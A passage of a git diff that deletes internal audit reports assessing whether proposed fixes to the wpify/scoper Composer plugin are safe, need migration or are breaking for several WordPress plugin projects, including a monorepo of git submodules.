`web/app/mu-plugins/constructio-edu/constructio-edu.php:17`. -* `rosettapress/rosettapress.php:25` and `epicwash-dev/epicwash.php:22` — unguarded `require_once` at plugin load. -* `heureka-scope-review/heureka.php:103-105` is the only one that guards with `file_exists()`; it degrades to a silent "plugin does nothing" instead of a fatal. - -**Verdict:** -* `heureka-scope-review`, `rosettapress`, `epicwash-dev` — **SAFE** (`.bak` lands inside an already-ignored `vendor/`; Composer will not touch it). -* `edu.constructiocrm`, `environmentalbadge` — **NEEDS-MIGRATION**: add `web/app/*.bak` (or `web/app/deps.bak`) to `.gitignore`, otherwise a failed run leaves an untracked directory in `git status`. -* `epicwash-dev` — **NEEDS-MIGRATION** on the packaging side: add `--exclude "*.bak"` to the lftp mirror and filter the `cp -r … vendor …` in the `package` job, or a leftover backup doubles the shipped plugin. -* `heureka-scope-review` — **NEEDS-MIGRATION** on the release side: `plugin_archive … vendor/` would carry a leftover `.bak` into the wordpress.org release. Highest-consequence instance in the cluster. - -If the plugin can instead keep the backup under its own `temp` directory (same -filesystem, already ignored everywhere) the whole migration row disappears. Worth -considering before landing C3. - ---- - -## 4. C2 — `is_link()` guard in `remove()` - -* No `path` repositories: **none** of the five `composer-deps.json` files declares a - `repositories` key at all. -* No symlinks inside any built scoped tree: `find -type l` returns **0** for - `rosettapress/vendor/rosettapress-deps`, `epicwash-dev/vendor/epicwash`, - `edu.constructiocrm/web/app/deps`, `environmentalbadge/web/app/deps`. -* None of the scoped folders is itself a symlink. -* The only symlinks near these project roots are unrelated: - `rosettapress/.ddev/custom_certs/*`, `environmentalbadge/.ddev/custom_certs/*`, - `edu.constructiocrm/.claude/skills/*`. -* DDEV mounts the project root as a normal bind mount; `folder` and `temp` are both - inside it. - -**Verdict: SAFE — pure hardening, zero behaviour change** for all five. Not applicable in -the sense that no consumer here currently triggers the bug, but nothing here can regress -from the guard either. - ---- - -## 5. C1 + M4 — subprocess Composer, exit-code propagation, re-entrancy guard, `--no-plugins` - -### `--no-plugins` on the nested install - -No scoped dependency in this cluster is, or needs, a Composer plugin: - -| Project | scoped pkgs | composer-plugin / installer among them | pkgs requiring `composer/installers` | -|---|---|---|---| -| `heureka-scope-review` | 13 | none | none | -| `rosettapress` | 40 | `woocommerce/action-scheduler` is type `wordpress-plugin` (**not** a `composer-plugin`) | none | -| `epicwash-dev` | 19 | none | none | -| `edu.constructiocrm` | 13 | none | none | -| `environmentalbadge` | 16 | none | none | - -`woocommerce/action-scheduler`'s `wordpress-plugin` type is handled by Composer's default -`LibraryInstaller` when no installer plugin is present — confirmed by its actual location -in the built tree, `rosettapress/vendor/rosettapress-deps/woocommerce/action-scheduler/`, -i.e. the plain vendor layout. - -`environmentalbadge/composer-deps.json:5-10` declares `allow-plugins` for -`composer/installers`, `dealerdirect/phpcodesniffer-composer-installer`, -`roots/wordpress-core-installer` and `mnsami/composer-custom-directory-installer` — none -of which appears in `composer-deps.lock`. That block is vestigial copy-paste from the -root `composer.json` and `--no-plugins` would change nothing. - -**Verdict on `--no-plugins`: SAFE for all five.** - -### Exit codes and script ordering - -No project in this cluster registers a root `post-install-cmd` / `post-update-cmd` -script. Their `scripts` blocks are all manual commands (`phpcs`, `make-pot`, `lint`, -`test`, `generate-*-sdk`), so nothing user-authored is currently being skipped by the -`exit()`. - -What **is** being skipped: `dealerdirect/phpcodesniffer-composer-installer` subscribes to -`POST_INSTALL_CMD` and `POST_UPDATE_CMD` -(`rosettapress/vendor/dealerdirect/phpcodesniffer-composer-installer/src/Plugin.php:161-171`) -and is a `require-dev` of `heureka-scope-review`, `rosettapress`, `epicwash-dev` and -`environmentalbadge`. Global plugins are registered **before** local ones -(`PluginManager.php:109-110`), so on a dev `composer install` the scoper listener runs -first and `exit()`s, and dealerdirect's `installed_paths` write never happens. Fixing C1 -makes it start working — a benign but real behaviour change ("phpcs suddenly finds WPCS"). -CI is unaffected: every CI job uses `--no-dev`. - -**Verdict on exit-code/ordering: NEEDS-MIGRATION (informational)** for -`heureka-scope-review`, `rosettapress`, `epicwash-dev`, `environmentalbadge`; -**SAFE** for `edu.constructiocrm` (no dealerdirect). - -### M4 re-entrancy — an extra data point from `edu.constructiocrm` - -`edu.constructiocrm` has `wpify/scoper` **both** globally and in `require-dev`. Only one -runs: `PluginManager::registerPackage()` returns early when the package name is already -registered (`PluginManager.php:216-218`), and the global repository is loaded first -(`PluginManager.php:109-110`). So the **global 3.2.21 executes** and the local -`vendor/wpify/scoper` copy is inert. The local requirement still governs *resolution* -(and therefore C4), but never the running code. Any re-entrancy guard must be keyed on -something process-global (env var), not on plugin instance state, or the two copies would -not see each other in a subprocess world. - ---- - -## 6. H1 — anchored prefix-stripping - -The hazard is the unanchored `str_replace` at `config/scoper.inc.php:87-103`: for every -`exclude-classes` / `exclude-namespaces` entry it replaces `\\` with -`\`, so a scoped symbol that merely *starts with* an excluded symbol gets -truncated. - -Checked mechanically: for each project, every key of `composer/autoload_classmap.php` -plus every PSR-4 root of `composer/autoload_psr4.php`, stripped of the prefix, against -the full excluded class+namespace set for that project's `globals` (1,609 symbols for the -four default-`globals` projects; 1,570 for `heureka`, which sets -`globals: ["wordpress","woocommerce"]`). - -``` -RosettaPressDeps 1453 scoped symbols -> NO prefix-collisions -EpicwashDeps 360 scoped symbols -> NO prefix-collisions -ConstructioEduDeps 480 scoped symbols -> NO prefix-collisions -EnvironmentalBadgeDeps 504 scoped symbols -> NO prefix-collisions -HeurekaDeps (from composer-deps.lock roots) -> NO prefix-collisions -``` - -The only excluded class/namespace symbols short enough to be plausible false-prefixes are -`MO`, `PO`, `POP3`, `WP`, `ftp`, `wpdb`. No scoped root in this cluster begins with any of -them — note `Wpify\` ≠ `WP` (case-sensitive), which is the near-miss worth flagging. -`heureka`'s scoped roots are `Heureka`, `Hcapi`, `Wpify\{CustomFields,Log,Model,PluginUtils}`, -`DI`, `Invoker`, `PhpDocReader`, `Psr\{Container,Log}`, `Spatie\ArrayToXml`, -`Laravel\SerializableClosure` (from `composer-deps.lock`). - -A textual sweep of the four built trees for un-prefixed `use` roots found only legitimate -cases: intentionally excluded WP/Woo namespaces (`Automattic\WooCommerce\…`, -`Action_Scheduler\…`, `PHPMailer\PHPMailer\PHPMailer`), PHP-native constants -(`STR_PAD_LEFT`, `PREG_*`, `PHP_INT_SIZE`) and optional-extension classes -(`Redis`, `COM`, `MongoDB\*`, `Grpc\*`, `AMQPExchange`, `uuid_*`). Nothing carrying the -H1 signature. - -**Verdict: SAFE for all five.** No project is currently corrupted, and none regresses. -Cross-cutting note: **H1 should land before or with H16** — every symbol H16 adds is -another unanchored needle, so the anchoring fix is what keeps H16's blast radius at zero. - ---- - -## 7. H2 — narrow the `autoload_static.php` rewrite to `$files` - -The regex at `scripts/postinstall.php:41-45` prepends the lowercased prefix to any -`'alnum' => value,` pair. Checked all four built `composer/autoload_static.php` files: - -* **Zero** unqualified classmap keys in any of them (`0` matches for - `^\s*'[A-Za-z0-9_]+' =>` inside the `$classMap` block). -* The only rewritten keys are the intended `$files` md5 hashes — e.g. - `rosettapress/vendor/rosettapress-deps/composer/autoload_static.php:13-16`, - `edu.constructiocrm/web/app/deps/composer/autoload_static.php:14-18`. -* `'Composer\\InstalledVersions'` survives intact (it contains a backslash, so the regex - misses it), and `$prefixLengthsPsr4` keys like `'R' => array (` are not matched because - `array (` fails the value character class. - -There is **no live H2 corruption** in this cluster: php-scoper namespaces every scoped -class, so no unqualified classmap key exists to corrupt. - -**Verdict: SAFE for all five** — narrowing the rewrite to `$files` is byte-for-byte -identical output for these projects. (`heureka-scope-review` has no built tree on disk; -its scoped set is a strict subset of the others' package types, so the same conclusion -holds by construction.) - ---- - -## 8. H7 — make `--no-dev` reachable - -**Not applicable to any of the five.** None of the five `composer-deps.json` files -declares `require-dev`, and every `composer-deps.lock` reports `packages-dev: 0` -(heureka 13/0, rosettapress 40/0, epicwash 19/0, edu 13/0, environmentalbadge 16/0). No -scoped dev dependency exists to disappear, and no project source references one. - -**Verdict: SAFE / not applicable, all five.** - ---- - -## 9. H14 / H15 — `plugin-update-checker` - -Flagged by the lead as the highest-risk item. **For this cluster the risk is zero.** - -* `plugin-update-checker` is **not** in any project's `globals`. `heureka` sets - `["wordpress","woocommerce"]` explicitly (`composer.json:38-41`); the other four omit - `globals` and get the default `['wordpress','woocommerce','action-scheduler','wp-cli']` - (`Plugin.php:60`) — which does not include it. So - `symbols/plugin-update-checker.php` is never loaded (`Plugin.php:230-235`) for any of - them. -* Only `rosettapress` scopes PUC at all, transitively via `wpify/updates: ^1`, and it is - **v5**: `rosettapress/vendor/rosettapress-deps/composer/autoload_static.php:14` → - `yahnis-elsts/plugin-update-checker/load-v5p6.php`. It is fully prefixed, which is the - correct treatment for the namespaced v5. -* No project's source references `Puc_v4p11_*`, `PluginUpdateChecker`, or - `YahnisElsts\*` (grep across all five `src/` trees and root plugin files: **0 hits**). -* The v4-specific patchers at `config/scoper.inc.php:48-50` and `:75-77` are dead code - for this cluster. - -**Verdict: SAFE / not applicable, all five** — regenerating for v5 *or* dropping the -built-in list entirely costs this cluster nothing. - ---- - -## 10. H16 — full-AST symbol extraction, regenerated lists - -Approximated by diffing the symbol files between `af1b752` (before the two symbol -commits) and `HEAD`, then collision-testing every added class/namespace symbol against -each project's scoped symbol set: - -``` -exclude-classes: +66 / -4 -exclude-namespaces: +292 / -12 -exclude-functions: +266 / -24 -exclude-constants: +102 / -1 - -358 newly-added class/namespace symbols vs. - RosettaPressDeps -> no collisions - EpicwashDeps -> no collisions - ConstructioEduDeps -> no collisions - EnvironmentalBadgeDeps -> no collisions -``` - -The interesting additions are the short, generic ones now in `exclude-classes`: -`Attribute`, `Stringable`, `ValueError`, `PhpToken`, `UnhandledMatchError` (WordPress / -WooCommerce polyfill classes). Grepping the four built trees for -`\\{Attribute|Stringable|ValueError|PhpToken|UnhandledMatchError}` returns **0 -hits** — `RosettaPressDeps\DI\Attribute\Inject` does *not* match, because the needle -requires the symbol to sit directly after the prefix. - -Timing check: `b00d523` ("add new symbols") is dated **2025-05-07**, and every built tree -in this cluster post-dates it (epicwash 2026-01-08, environmentalbadge 2026-06-22, -edu 2026-07-14, rosettapress 2026-07-21) — so those exclusions are already reflected in -the shipped output. Only `a59d577` (today) is newer, and it touches `exclude-constants` -only, which the `scoper.inc.php` patcher loop does not consume (it iterates -`exclude-classes` and `exclude-namespaces` only, `config/scoper.inc.php:87-101`). - -**Verdict: SAFE for all five**, with the residual caveat that a *future* regeneration's -`class_alias` targets are unknown names. That residual is exactly what H1's anchoring -neutralises — hence the sequencing note in §6. - ---- - -## 11. H18 — `scoper.custom.php` discovery - -**None of the five projects has a `scoper.custom.php`** (checked at each project root). -So no customisation is currently being applied *or* silently ignored anywhere here, and -the fix is a no-op for all five. - -The lead's hypothesis that `edu.constructiocrm` behaves differently because of its local -install is **not borne out**. `createPath()` tests -`strpos( dirname(__DIR__), 'vendor/wpify/scoper' )` (`Plugin.php:269`), and both -topologies contain that substring: - -* global: `/Users/wpify/.composer/vendor/wpify/scoper` → substring found -* edu local: `/Users/wpify/projects/edu.constructiocrm/vendor/wpify/scoper` → substring found - -Both resolve `scoper.custom.php` to `getcwd()`, which is correct. The substring test only -fails for a non-standard `vendor-dir` or a `path`-repository symlink — neither of which -occurs in this cluster. - -The genuinely distinctive thing about `edu.constructiocrm` is different, and it is worth -recording: its local `require-dev` copy **never executes**. Composer dedupes plugin -registration by package name (`PluginManager.php:216-218`) and loads the global -repository first (`PluginManager.php:109-110`), so the global 3.2.21 wins. Its own lock -confirms the version is identical anyway — `composer.lock` `packages-dev` has -`wpify/scoper 3.2.21` and `wpify/php-scoper 0.18.18`. - -**Verdict: SAFE / not applicable, all five.** - ---- - -## 12. M3 — stop writing generated `scripts` into `composer-deps.json` - -* **No** `composer-deps.json` in this cluster contains a `scripts` block — hand-written - or generated. Nothing would be lost. -* The generated scripts are written to the **temp copy**, not the user's file: - `Plugin.php:169-175` writes `$composerJsonPath`, which is - `path( $source, 'composer.json' )` = `tmp-XXXXXXXXXX/source/composer.json` - (`Plugin.php:128,131`). The user's `composer-deps.json` is only ever written when it is - **absent** (`Plugin.php:141`). -* Both files are committed in all five. What actually churns is - **`composer-deps.lock`**, which `scripts/postinstall.php:57-58` deletes and overwrites - on every run: heureka 26 commits vs 10 for the `.json`, rosettapress 29 vs 7, - environmentalbadge 14 vs 3, epicwash 2 vs 2, edu 1 vs 1. All five working trees are - currently clean for both files. - -**Verdict: SAFE / not applicable, all five.** M3's "clobbers user scripts" concern does -not materialise here; the lock-file churn is a separate (and expected) behaviour. - ---- - -## 13. M15 — validate `globals` against available symbol files - -Only `heureka-scope-review` sets `globals` at all: -`["wordpress","woocommerce"]` (`composer.json:38-41`). Both map to real files -(`symbols/wordpress.php`, `symbols/woocommerce.php`). The other four inherit the default -(`Plugin.php:60`), which is valid by construction. - -Worth noting as a side effect rather than a risk: heureka's explicit list **narrows** the -default — it drops `action-scheduler` and `wp-cli`. Its scoped set contains neither, so -this is harmless today, but a validator should not flag it. - -**Verdict: SAFE, all five.** - ---- - -## Verdict table - -Legend: **S** = SAFE · **NM** = NEEDS-MIGRATION · **B** = BREAKING · **n/a** = not applicable · **?** = UNKNOWN - -| Item | heureka | rosettapress | epicwash-dev | edu.constructiocrm | environmentalbadge | -|---|---|---|---|---|---| -| **C4** PHP `^8.2` | **S** (CI image inferred, not read) | **S** (CI image inferred, not read) | **S** | **S** | **S** | -| **C5** prefix fail-fast | **S**¹ | **S**¹ | **S**¹ | **S**¹ | **S**¹ | -| **C3** atomic `.bak` swap | **NM** (wp.org release ships `vendor/`) | **S** | **NM** (ZIP + FTP mirror ship `vendor/`) | **NM** (`.gitignore` misses `web/app/deps.bak`) | **NM** (same `.gitignore` gap) | -| **C2** `is_link()` guard | **S** | **S** | **S** | **S** | **S** | -| **C1** `--no-plugins` | **S** | **S** | **S** | **S** | **S** | -| **C1** exit code / ordering | **NM**² | **NM**² | **NM**² | **S** | **NM**² | -| **M4** re-entrancy guard | **S** | **S** | **S** | **S**³ | **S** | -| **H1** anchored stripping | **S** | **S** | **S** | **S** | **S** | -| **H2** narrow `$files` rewrite | **S** | **S** | **S** | **S** | **S** | -| **H7** `--no-dev` | n/a | n/a | n/a | n/a | n/a | -| **H14/H15** plugin-update-checker | n/a | n/a (scopes PUC **v5**, not opted in) | n/a | n/a | n/a | -| **H16** regenerated symbols | **S** | **S** | **S** | **S** | **S** | -| **H18** `scoper.custom.php` | n/a | n/a | n/a | n/a⁴ | n/a | -| **M3** generated `scripts` | n/a | n/a | n/a | n/a | n/a | -| **M15** `globals` validation | **S** | **S** | **S** | **S** | **S** | - -1. Conditional: the check must fire only when `extra.wpify-scoper` is present. An - unconditional "prefix required" is **BREAKING** for all five, because the plugin is - installed globally and activates in every repository on the machine. -2. Benign behaviour change: `dealerdirect/phpcodesniffer-composer-installer`'s - `POST_INSTALL_CMD` listener currently never runs on a dev install and would start - running. CI is `--no-dev`, so unaffected. -3. The local `require-dev` copy never executes (global wins the registration race); a - re-entrancy guard must be process-global, not instance state. -4. The local install path still satisfies the `vendor/wpify/scoper` substring test, so - H18 behaves identically to the global case. No `scoper.custom.php` exists anyway. - -### Residual unknowns - -* The image used by `.composer_install` in the private `wpify/gitlab-ci-templates` repo - (affects `heureka-scope-review`, and `wpify-plugin.yml` for `rosettapress`). Clone - denied — `git@gitlab.wpify.io: Permission denied (publickey)`. Strong inference from 18 - sibling pipelines that it is `composer:2.8.2` / `composer:2`, both PHP ≥ 8.3. Confirm - by reading one line of that repo before landing C4 if you want certainty. -* `heureka-scope-review` has no built scoped tree on disk, so H1/H2 were verified against - its `composer-deps.lock` package/namespace set rather than generated output. diff --git a/docs/improvements/consumers/F-monorepo-group.md b/docs/improvements/consumers/F-monorepo-group.md deleted file mode 100644 index f9fa282..0000000 --- a/docs/improvements/consumers/F-monorepo-group.md +++ /dev/null @@ -1,402 +0,0 @@ -# Consumer impact — Group F: monorepo cluster - -**Projects:** `sales-booster-kit` (root + 6 sub-modules), `feed.szn` -**Audited against:** `wpify/scoper` 3.2.x working tree at `/Users/wpify/projects/scoper` -**Method:** read-only. No edits, no `composer` runs, no writes inside consumer projects. - ---- - -## 0. Headline answers - -### 0.1 Path repositories / symlinks (finding C2) — **SAFE, not applicable** - -The six sub-modules are **git submodules, not Composer `path` repositories.** - -- `sales-booster-kit/.gitmodules:1-18` declares all six under `src/Modules/`, each pointing at - `git@gitlab.wpify.io:commercial-plugins/*.git`. -- There is **no `repositories` block in any of the 8 composer.json / composer-deps.json files** in this - cluster (verified by grep across all of them). -- The root `composer.json` does not `require` any module. The root and the modules are installed - completely independently; Composer never links them. -- `find -type l` across both projects (excluding `node_modules`) returns **zero symlinks** in - `sales-booster-kit`, and in `feed.szn` only `.ddev/custom_certs/*` and two unrelated files inside - `vendor/humbug/php-scoper` and `vendor/fidry/console` — none of which is inside any `deps` target. -- Every `deps` target is a real directory (`ls -ld` confirms `drwxr-xr-x`, not `lrwx`). - -So the C2 scenario — `remove()` following a symlink into a developer's real module source — **cannot -occur here.** Adding the `is_link()` guard is a pure no-op for this cluster. - -For the record, the underlying hazard in `scripts/postinstall.php:3-10` is real: `remove()` tests -`is_dir($full)`, which returns `true` for a symlink-to-directory, so it would recurse into and empty -the link target. This cluster simply never presents that input. - -### 0.2 Recursion (finding M4) — **SAFE** - -**No `composer-deps.json` anywhere in this cluster contains an `extra` key, let alone -`extra.wpify-scoper`.** All eight were grepped individually: - -``` -sales-booster-kit/composer-deps.json -sales-booster-kit/src/Modules/sales-booster-extras/composer-deps.json -sales-booster-kit/src/Modules/wpify-woo-conditional-shipping/composer-deps.json -sales-booster-kit/src/Modules/wpify-woo-discount-rules/composer-deps.json -sales-booster-kit/src/Modules/wpify-woo-feeds/composer-deps.json -sales-booster-kit/src/Modules/wpify-woo-phone-validation/composer-deps.json -sales-booster-kit/src/Modules/wpify-woo-product-vouchers/composer-deps.json -feed.szn/composer-deps.json -``` - -`find` confirms these are the only `composer-deps.json` files in either project. The unbounded-recursion -configuration described in M4 does not exist here, and fixing C1 will not introduce it. - ---- - -## 1. Monorepo map - -`sales-booster-kit` performs **seven fully independent scoping runs** — the root plus each of the six -submodules — producing seven separate scoped trees, seven `composer-deps.lock` files and seven -`tmp-XXXXXXXXXX` working dirs. Confirmed by the presence of a distinct built tree under each module. - -The default `globals` is `array('wordpress','woocommerce','action-scheduler','wp-cli')` -(`src/Plugin.php:60`). This matters: the five modules that declare `globals` **override** the default -and thereby *lose* `action-scheduler` and `wp-cli`. - -| # | Unit | `prefix` | `folder` | `globals` | `scoper.custom.php` | -|---|------|----------|----------|-----------|---------------------| -| 1 | root `sales-booster-kit` | `WpifySalesBoosterDeps` | *(absent → `deps/`)* | *(absent → default 4)* | no | -| 2 | `sales-booster-extras` | `SalesBoosterExtrasDeps` | *(absent → `deps/`)* | *(absent → default 4)* | no | -| 3 | `wpify-woo-conditional-shipping` | `WpifyWooConditionalShippingDeps` | `vendor/wpify-woo-conditional-shipping` | wordpress, woocommerce, plugin-update-checker | **yes** | -| 4 | `wpify-woo-discount-rules` | `WpifyWooDiscountRuleDeps` | `vendor/wpify-woo-discount-rules` | wordpress, woocommerce, plugin-update-checker | **yes** | -| 5 | `wpify-woo-feeds` | `WpifyWooFeedsDeps` | `vendor/wpify-woo-feeds` | wordpress, woocommerce, plugin-update-checker | no | -| 6 | `wpify-woo-phone-validation` | `WpifyWooPhoneValidationDeps` | `vendor/wpify-woo-phone-validation` | wordpress, woocommerce, plugin-update-checker | **yes** | -| 7 | `wpify-woo-product-vouchers` | `WpifyWooProductVouchersDeps` | `vendor/wpify-woo-product-vouchers` | wordpress, woocommerce, plugin-update-checker | **yes** | -| 8 | `feed.szn` | `ExpresFeedsDeps` | *(absent → `deps/`)* | *(absent → default 4)* | no | - -Note that five of the seven `folder` values point **inside `vendor/`** — relevant to C3. - -### How scoper is actually invoked - -Neither `sales-booster-kit` nor any sub-module requires `wpify/scoper` at all. CI installs it globally: - -- `sales-booster-kit/.gitlab-ci.yml:66-67` and `:102-103` — `composer global require wpify/scoper` -- `feed.szn/.gitlab-ci.yml` (`composer` job `before_script`) — same, plus - `PATH=$(composer global config bin-dir --absolute --quiet):$PATH` - -Modules are built in a loop at `sales-booster-kit/.gitlab-ci.yml:73-83`, each with -`(cd "$MODULE_PATH" && composer install --no-dev --prefer-dist --optimize-autoloader --ignore-platform-reqs)`. - ---- - -## 2. `feed.szn` and the `wpify/scoper: ^2` constraint - -**It does not effectively pin to 2.x. The audited 3.2.x line is what runs in CI.** - -- `feed.szn/composer.json` declares `wpify/scoper: ^2` in **`require-dev`**, and - `feed.szn/composer.lock` resolves it to `wpify/scoper 2.5.4` (with `humbug/php-scoper 0.17.2`). - That version *is* physically installed at `feed.szn/vendor/wpify/scoper`. -- But CI runs `composer install --no-dev`, which **never installs `require-dev`**. So 2.5.4 is absent - from the CI container entirely. -- CI instead does `composer global require wpify/scoper` (unconstrained) and puts the global bin-dir on - `PATH`. The globally installed version on this machine is **`wpify/scoper 3.2.21`** with - `wpify/php-scoper 0.18.18` (from `~/.composer/vendor/composer/installed.json`). - -**Conclusion:** in CI, `feed.szn` is scoped by 3.2.x, so the audit's findings **do apply to it**. Only a -local developer install (`composer install` *with* dev) gets 2.5.4 — and even then the global 3.2.21 -plugin is also present, so which one handles the event is ambiguous. The `^2` constraint is -misleading and should be treated as stale metadata rather than a real pin. - -This is worth fixing on the consumer side independently of any scoper change: either drop the -`require-dev` entry or move CI to a pinned `composer global require wpify/scoper:^3`. - ---- - -## 3. Findings verified against built output - -### 3.1 H1 — anchored prefix-stripping: **one real regression** - -`config/scoper.inc.php:88-105` builds an **unanchored** `str_replace` over `\$prefix\$symbol`, so a -listed symbol strips any longer symbol that starts with it. I scanned all eight built trees for -genuinely global (single-segment) `\Name` references where `Name` is *not* an exact list member but -*does* have one as a strict prefix. - -**Root, `sales-booster-extras`, `feed.szn` (default globals): clean.** The only hits are -`WP_CONTENT_DIR`, `WP_PLUGIN_DIR`, `WP_MAX_MEMORY_LIMIT`, `MONTH_IN_SECONDS` — all of which are in -`symbols/wordpress.php` under **`exclude-constants`**, so php-scoper leaves them global natively and the -patcher plays no part. Anchoring changes nothing. - -**The five modules with explicit `globals`: `\WP_CLI` and `\WP_CLI_Command` regress.** Because those -modules override `globals` and drop `wp-cli`, these two symbols are *only* reaching the global namespace -via the unanchored `WP` match (`WP` is in `symbols/wordpress.php` → `exclude-classes`). Under H1 they -would become `\WP_CLI`. Affected files (identical set in all five trees): - -- `woocommerce/action-scheduler/classes/WP_CLI/…` — 12 files referencing `\WP_CLI` -- `woocommerce/action-scheduler/classes/WP_CLI/Action_Command.php` and - `classes/abstracts/ActionScheduler_WPCLI_Command.php` — `\WP_CLI_Command` - -Blast radius is small in practice: these classes only load under WP-CLI, and the scoped Action Scheduler -copy is already inert (see 3.2). But it is a genuine behaviour change. - -**Recommendation:** ship H1 together with either (a) adding `wp-cli` back to these modules' `globals`, -or (b) H16 regenerating the lists such that `WP_CLI`/`WP_CLI_Command` are covered without needing the -`wp-cli` opt-in. Do not ship H1 alone. - -### 3.2 Pre-existing: scoped Action Scheduler is inert (not caused by, and not fixed by, any finding) - -Worth recording because it shapes the H1 risk assessment. In every scoped tree, Action Scheduler class -*declarations* land inside the prefix namespace while all *references* are de-prefixed to global: - -`…/woocommerce/action-scheduler/classes/abstracts/ActionScheduler_Store.php` -```php -namespace WpifyWooFeedsDeps; - -abstract class ActionScheduler_Store extends \ActionScheduler_Store_Deprecated -``` - -All 60 `ActionScheduler_*` symbols are in `symbols/woocommerce.php` → `exclude-classes`, so the patcher -rewrites every reference to global, but nothing rewrites the `namespace` line php-scoper added. The -scoped copy is therefore unreachable; the code works only because WooCommerce provides Action Scheduler -globally at runtime. Unchanged by the proposed work — flagging it as a separate issue. - -### 3.3 H2 — narrowing the `autoload_static.php` rewrite: **SAFE, no live corruption** - -`scripts/postinstall.php:41-45` applies `'/'([[:alnum:]]+)'\s*=>\s*([a-zA-Z0-9 .'\"\/\-_]+),/'` to the -whole file. I checked all eight `autoload_static.php` files for keys carrying the lowercased prefix. -**Every hit is a 32-char md5 in the `$files` array — i.e. exactly the intended target.** Example -(`sales-booster-kit/deps/composer/autoload_static.php`): - -```php -public static $files = array ( - 'wpifysalesboosterdepscdf08174348db7aba2f2aa1537fac4b1' => __DIR__ . '/..' . '/wpify/custom-fields/custom-fields.php', - 'wpifysalesboosterdepsbc0af1337b39f0d750e835f5263eb646' => __DIR__ . '/..' . '/yahnis-elsts/plugin-update-checker/load-v5p7.php', - 'wpifysalesboosterdepsb33e3d135e5d9e47d845c576147bda89' => __DIR__ . '/..' . '/php-di/php-di/src/functions.php', -); -``` - -No `$classMap` or `$prefixLengthsPsr4` key is corrupted. The natural candidate — `tecnickcom/tcpdf` in -`wpify-woo-product-vouchers`, whose classes are bare global names — is safe because php-scoper moved them -into the prefix namespace first, so the keys contain backslashes and the `[[:alnum:]]+` key pattern -cannot match: - -```php -'WpifyWooProductVouchersDeps\\TCPDF' => __DIR__ . '/..' . '/tecnickcom/tcpdf/tcpdf.php', -'WpifyWooProductVouchersDeps\\TCPDF_FONTS' => … -'WpifyWooProductVouchersDeps\\QRcode' => … -``` - -H2 is a correctness hardening with no observable effect here. - -### 3.4 H14/H15 — `plugin-update-checker`: **SAFE; the config is already dead** - -`symbols/plugin-update-checker.php` contains **33 symbols, all `Puc_v4*`** — zero `Puc_v5*`, zero -`YahnisElsts\…` entries. Every consumer in this cluster resolves -`yahnis-elsts/plugin-update-checker` to **`dev-master` (v5, `Puc/v5p7`)**. - -So for the five modules that list `plugin-update-checker` in `globals`, the exclusion list **matches -nothing** and PUC is scoped anyway — identical to the root, which does not list it at all. Proof, from -`wpify-woo-feeds/vendor/wpify-woo-feeds/yahnis-elsts/plugin-update-checker/load-v5p7.php:3`: - -```php -namespace WpifyWooFeedsDeps\YahnisElsts\PluginUpdateChecker\v5p7; -``` - -…despite `plugin-update-checker` being in that module's `globals` -(`src/Modules/wpify-woo-feeds/composer.json`, `extra.wpify-scoper.globals`). - -No project code references PUC directly. Every consumer goes through `Wpify\Updates\Updates`: - -- `sales-booster-kit/src/Features/LicenseFeature.php:8,42` -- `src/Modules/{wpify-woo-feeds,wpify-woo-conditional-shipping,wpify-woo-discount-rules,wpify-woo-phone-validation,wpify-woo-product-vouchers}/src/Plugin.php` (each `use …Deps\Wpify\Updates\Updates;`) - -which in turn calls the scoped `…Deps\YahnisElsts\PluginUpdateChecker\v5\PucFactory` -(`wpify/updates/src/Updates.php:5,26`). `feed.szn` has no PUC at all. - -**Either proposal (regenerate for v5, or drop the built-in list) is SAFE.** Dropping it is a literal -no-op. Regenerating it for v5 would be a *behaviour change* — PUC would stop being scoped and start -resolving globally, which risks colliding with other plugins' PUC copies. Given every consumer here -relies on the scoped copy today, **dropping the list is the safer option for this cluster**; the five -`globals: [… plugin-update-checker]` entries should be removed as dead config either way. - -Separately, a cosmetic artefact of the current path, `load-v5p7.php:12`: the registration keys are -inconsistently rewritten — `'WpifyWooFeedsDeps\Plugin\UpdateChecker'` (string patched) alongside -`'GitHubApi'`, `'BitBucketApi'`, `'GitLabApi'` (left bare, no backslash to trigger the patcher). Both -registration and lookup happen inside the scoped tree so it is self-consistent, but it is fragile. - -### 3.5 H18 — `scoper.custom.php` discovery: **SAFE (currently working), and it exposes a live WPML bug** - -`src/Plugin.php:268-276`: `createPath(['scoper.custom.php'], true)` returns `getcwd()/scoper.custom.php` -only when `dirname(__DIR__)` contains the literal `vendor/wpify/scoper`. Because CI installs scoper via -`composer global require`, the path is `$COMPOSER_HOME/vendor/wpify/scoper` — which **does** contain that -substring. **Discovery works today in this cluster; the H18 fix is a no-op here.** - -Verified empirically, and the result is unusually clean. `ICL_LANGUAGE_CODE` is in **no** symbol list, so -its treatment depends entirely on the custom patcher: - -| Tree | has `scoper.custom.php` | `wpify/woo-core/src/Abstracts/AbstractModule.php:28` | -|------|------------------------|------------------------------------------------------| -| `wpify-woo-conditional-shipping` | yes | `defined('ICL_LANGUAGE_CODE')` ✅ | -| `wpify-woo-discount-rules` | yes | bare ✅ | -| `wpify-woo-phone-validation` | yes | bare ✅ | -| `wpify-woo-product-vouchers` | yes | bare ✅ | -| **`wpify-woo-feeds`** | **no** | `defined('WpifyWooFeedsDeps\ICL_LANGUAGE_CODE')` ❌ | -| **`sales-booster-extras`** | **no** | `defined('SalesBoosterExtrasDeps\ICL_LANGUAGE_CODE')` ❌ | -| **root `sales-booster-kit`** | **no** | `defined('WpifySalesBoosterDeps\ICL_LANGUAGE_CODE')` ❌ | - -The four modules carrying the file are correct. **The three units without it have a live WPML bug**: the -`defined()` guard can never be true, so WPML language handling in `wpify/woo-core` is silently dead in -`sales-booster-kit` (root), `sales-booster-extras` and `wpify-woo-feeds` — at -`AbstractModule.php:28,155,179` and `Admin/Settings.php`. - -This is a consumer-side gap, not a scoper defect, but the cleanest fix is scoper-side: add -`ICL_LANGUAGE_CODE` to `symbols/wordpress.php` → `exclude-constants` and retire four copies of the -workaround. Worth folding into H16. - -### 3.6 C1 + `--no-plugins`: **SAFE** - -No package in any of the eight `composer-deps.lock` files has a non-library `type` — **zero -`composer-plugin` packages**. The only installer-ish requirements are transitive **`require-dev`** entries -of dependencies, which Composer never installs: - -- `wpify/custom-fields` → `require-dev: dealerdirect/phpcodesniffer-composer-installer` (all 7 sbk locks) -- `giggsey/locale`, `phpstan/phpdoc-parser` → `require-dev: phpstan/extension-installer` - -`--no-plugins` on the nested install is safe everywhere here. Note `wpify/plugin-composer-scripts` and -`dealerdirect/phpcodesniffer-composer-installer` *are* real plugins, but they live in the 